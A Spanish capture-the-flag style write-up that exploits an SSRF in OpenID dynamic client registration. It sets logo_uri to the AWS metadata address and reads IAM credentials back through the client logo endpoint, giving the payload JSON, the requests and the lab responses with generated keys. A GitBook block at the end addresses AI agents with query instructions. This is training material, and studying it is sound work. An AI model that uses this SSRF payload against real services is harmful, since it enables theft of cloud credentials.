> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/oauth-authentication/ssrf-via-openid-dynamic-client-registration.md).

# SSRF mediante el registro dinámico de clientes de OpenID

### SSRF mediante el registro dinámico de clientes OpenID

**Objetivo del laboratorio**

Este laboratorio cuenta con una función dinámica de registro de clientes OpenID\*\*. Algunos de los datos proporcionados por el cliente son utilizados sin protección por el servicio OAuth, lo que abre la puerta a un **SSRF**.

El objetivo es explotar esta falla para acceder al siguiente endpoint interno y recuperar el secreto **clave de acceso a la nube** del proveedor OAuth:

* `HTTP://169.254.169.254/latest/meta-data/iam/security-credentials/admin/`

**Acceso inicial**

Puedes conectarte con una cuenta de usuario estándar:

* **Identificador**: wiener
* **Contraseña**: peter

**Descubrimiento de OpenID**

Al analizar el flujo de OAuth, identificamos el endpoint estándar de configuración de OpenID:

```bash
/.well-known/openid-configuration
```

Este recurso presenta todos los endpoints utilizados por el proveedor OAuth, incluidos:

{% code overflow="wrap" %}

```json
{"authorization_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/auth","claims_parameter_supported":false,"claims_supported":["sub","name","email","email_verified","sid","auth_time","iss"],"code_challenge_methods_supported":["S256"],"end_session_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/session/end","grant_types_supported":["authorization_code","refresh_token"],"id_token_signing_alg_values_supported":["HS256","ES256","EdDSA","PS256","RS256"],"issuer":"https://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net","jwks_uri":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/jwks","registration_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/reg","response_modes_supported":["form_post","fragment","query"],"response_types_supported":["code"],"scopes_supported":["openid","offline_access","profile","email"],"subject_types_supported":["public"],"token_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"token_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"token_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/token","request_object_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"request_parameter_supported":false,"request_uri_parameter_supported":true,"require_request_uri_registration":true,"userinfo_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/me","userinfo_signing_alg_values_supported":["HS256","ES256","EdDSA","PS256","RS256"],"introspection_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/token/introspection","introspection_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"introspection_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"revocation_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/token/revocation","revocation_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"revocation_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"claim_types_supported":["normal"]}
```

{% endcode %}

* `authorization_endpoint`
* `token_endpoint`
* `userinfo_endpoint`
* **`registration_endpoint`**

El campo clave aquí es:

```
/reg
```

<figure><img src="/files/a9191c3848e50438bcc30ce6fed557bb7445f2c7" alt=""><figcaption></figcaption></figure>

Permite el registro dinámico de nuevos clientes.

```http
{
    "application_type": "web",
    "redirect_uris": [
        "https://client-app.com/callback",
        "https://client-app.com/callback2"
        ],
    "client_name": "Mi aplicación",
    "logo_uri": "https://client-app.com/logo.png",
    "token_endpoint_auth_method": "client_secret_basic",
    "jwks_uri": "https://client-app.com/my_public_keys.jwks",
    "userinfo_encrypted_response_alg": "RSA1_5",
    "userinfo_encrypted_response_enc": "A128CBC-HS256",
    …
}
```

**Registro de cliente OAuth**

Se intercepta una solicitud para `/reg` y se convierte en una **POST** solicitud con el encabezado:

```http
Content-Type: application/json
```

Un registro mínimo funciona con un JSON muy simple:

```json
{
    "redirect_uris": [
        "https://test.com"
        ]
}
```

El servidor responde creando una nueva aplicación OAuth y devuelve en particular:

* `client_id`
* `client_secret`
* `registration_client_uri`
* `registration_access_token`

Esto confirma que el registro dinámico está activo y no es restrictivo.

{% code overflow="wrap" %}

```json
{"application_type":"web","grant_types":["authorization_code"],"id_token_signed_response_alg":"RS256","post_logout_redirect_uris":[],"require_auth_time":false,"response_types":["code"],"subject_type":"public","token_endpoint_auth_method":"client_secret_basic","introspection_endpoint_auth_method":"client_secret_basic","revocation_endpoint_auth_method":"client_secret_basic","require_signed_request_object":false,"request_uris":[],"client_id_issued_at":1767127526,"client_id":"TL-B3vvYBc42Yju2-uZqV","client_secret_expires_at":0,"client_secret":"RVzHE-YNMkqwYdhd76jdL92wmVCNdV7Ir3z4QtEM3m2lptEEZJEbl-JxCuz7UogeAtpIFlxSqGp-GnHARBZBEQ","redirect_uris":["https://test.com"],"registration_client_uri":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/reg/TL-B3vvYBc42Yju2-uZqV","registration_access_token":"On2Y_5DyRBtlz4QPmRbTogHoSp8ihSvLTC_ntt6c6Vz"}
```

{% endcode %}

<figure><img src="/files/7e3a8b6c03366ac815bf33c7ac798b9d62bf7007" alt=""><figcaption></figcaption></figure>

**Inyección SSRF a través de `logo_uri`**

El `logo_uri` el campo, diseñado para cargar una imagen asociada al cliente, es especialmente interesante. / Se recupera en el lado del servidor sin una validación estricta de la URL.

Se registra un nuevo cliente con un `logo_uri` que apunta a la IP interna de AWS:

```json
{
  "redirect_uris": [
    "https://jord4n.pro"
  ],
  "logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}
```

El servidor acepta la solicitud y devuelve un nuevo `client_id`.

**Acceso al logotipo del cliente**

Cada cliente tiene un endpoint para recuperar su logotipo:

```
GET /client/<client_id>/logo
```

<figure><img src="/files/765b802c208947af35bf3211522c85bd5d65641f" alt=""><figcaption></figcaption></figure>

```http
GET /client/1767128152/logo
```

<figure><img src="/files/fef184d162ad1bf6e9a8e99254fb7dd1f6dfc777" alt=""><figcaption></figcaption></figure>

Usando las `client_id` obtenido previamente:

```http
GET /client/4skHDyCgn9b1zvT-JBTin/logo
```

**Exfiltración de metadatos de AWS**

La respuesta no contiene una imagen, sino directamente las \*\*credenciales IAM internas\*\*:

```json
{
  "Código" : "Éxito",
  "Última actualización" : "2025-12-31T18:55:47.398604832Z",
  "Tipo" : "AWS-HMAC",
  "AccessKeyId" : "TKrZh1liWrDBDSltdlG9",
  "SecretAccessKey" : "pY0oqQBOuKYc77nrZrFHriyySRf12bPnf4EyBTd0",
  "Token" : "nGndN1NnGYkE6XEumqF4iZiD7qqa1VyOXSm5T6I7VRolft4b6Hc2zppqjZJFIhPJH0ZhTAYfoUe8edUbDvDkLjd0idSJlJggjp6BZAjEOqsSFHAZ9qBXUur878LdUfxk12joCYbDYYcpw0y5tHNIHx7sqZaEUlv0tukYqgVXwjweiVr2aahtizQl58akErD0kFUdqEe0YDhWwRigaSAKGdDsMKNOK5SX8iwpK8Vq6mBy45Xkrx4Xt4ZC8XPn6ulX",
  "Expiración" : "2031-12-30T18:55:47.398604832Z"
}
```

`Clave secreta de acceso` es el valor esperado para validar el laboratorio.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/oauth-authentication/ssrf-via-openid-dynamic-client-registration.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
